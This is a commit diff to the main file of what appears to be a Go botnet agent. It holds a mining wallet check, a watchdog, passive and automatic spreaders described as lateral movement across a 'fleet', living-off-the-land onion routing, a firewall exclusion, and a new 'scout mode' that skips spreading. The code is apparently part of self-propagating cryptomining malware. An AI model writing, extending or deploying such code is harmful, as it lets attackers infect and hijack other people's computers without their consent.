Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling

agent/main.go

@@ -29,7 +29,7 @@ func main() {
 	}
 	setupLogging(cfg)
 
-	if cfg.Wallet == "" {
+	if cfg.Wallet == "" && !cfg.MiningDisabled && !cfg.ApkMode && !cfg.ScoutMode {
 		log.Fatal("wallet address is required in built-in configuration")
 	}
 	if cfg.ServerURL == "" {
@@ -84,14 +84,13 @@ func main() {
 	}
 
 	deploy.StartWatchdog(cfg)
-	// AutoSpreader is intentionally NOT started here.  It is started inside
-	// AgentClient.authenticate() only after the server accepts our fleet secret,
-	// which verifies we are on an owned fleet before initiating lateral movement.
-	deploy.StartPassiveSpreader(cfg)
-	deploy.StartLotlOnion(cfg)
-	if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
-		// First-run spread marker is cleared after auth succeeds (handled in client).
-		deploy.ClearFirstRunSpreadMarker(cfg)
+	if !cfg.ScoutMode {
+		deploy.StartPassiveSpreader(cfg)
+		deploy.StartLotlOnion(cfg)
+		if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
+			// First-run spread marker is cleared after auth succeeds (handled in client).
+			deploy.ClearFirstRunSpreadMarker(cfg)
+		}
 	}
 
 	if cfg.FirewallExclusion {